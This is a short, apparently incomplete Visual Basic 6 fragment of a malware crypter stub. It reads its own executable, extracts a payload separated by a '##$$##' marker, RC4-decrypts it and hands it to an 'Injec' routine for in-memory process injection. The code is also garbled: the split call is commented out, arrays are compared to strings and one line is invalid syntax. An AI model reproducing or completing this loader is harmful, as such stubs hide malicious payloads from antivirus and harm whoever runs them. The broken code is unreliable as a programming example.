nty0

Sub Main()
Dim YO As String
YO = App.Path & "\" & App.EXEName & ".exe"

Dim Datos As String
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

Dim sData() As String
'sData() = Split(Datos, "##$$##")

If sData() = "1" Then
End If
If sData() = "S" Then
Split sData()
'Split(Datos,sData() '"##$$##")
End If


sData(1) = RC4(sData(1), sData(2))

Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub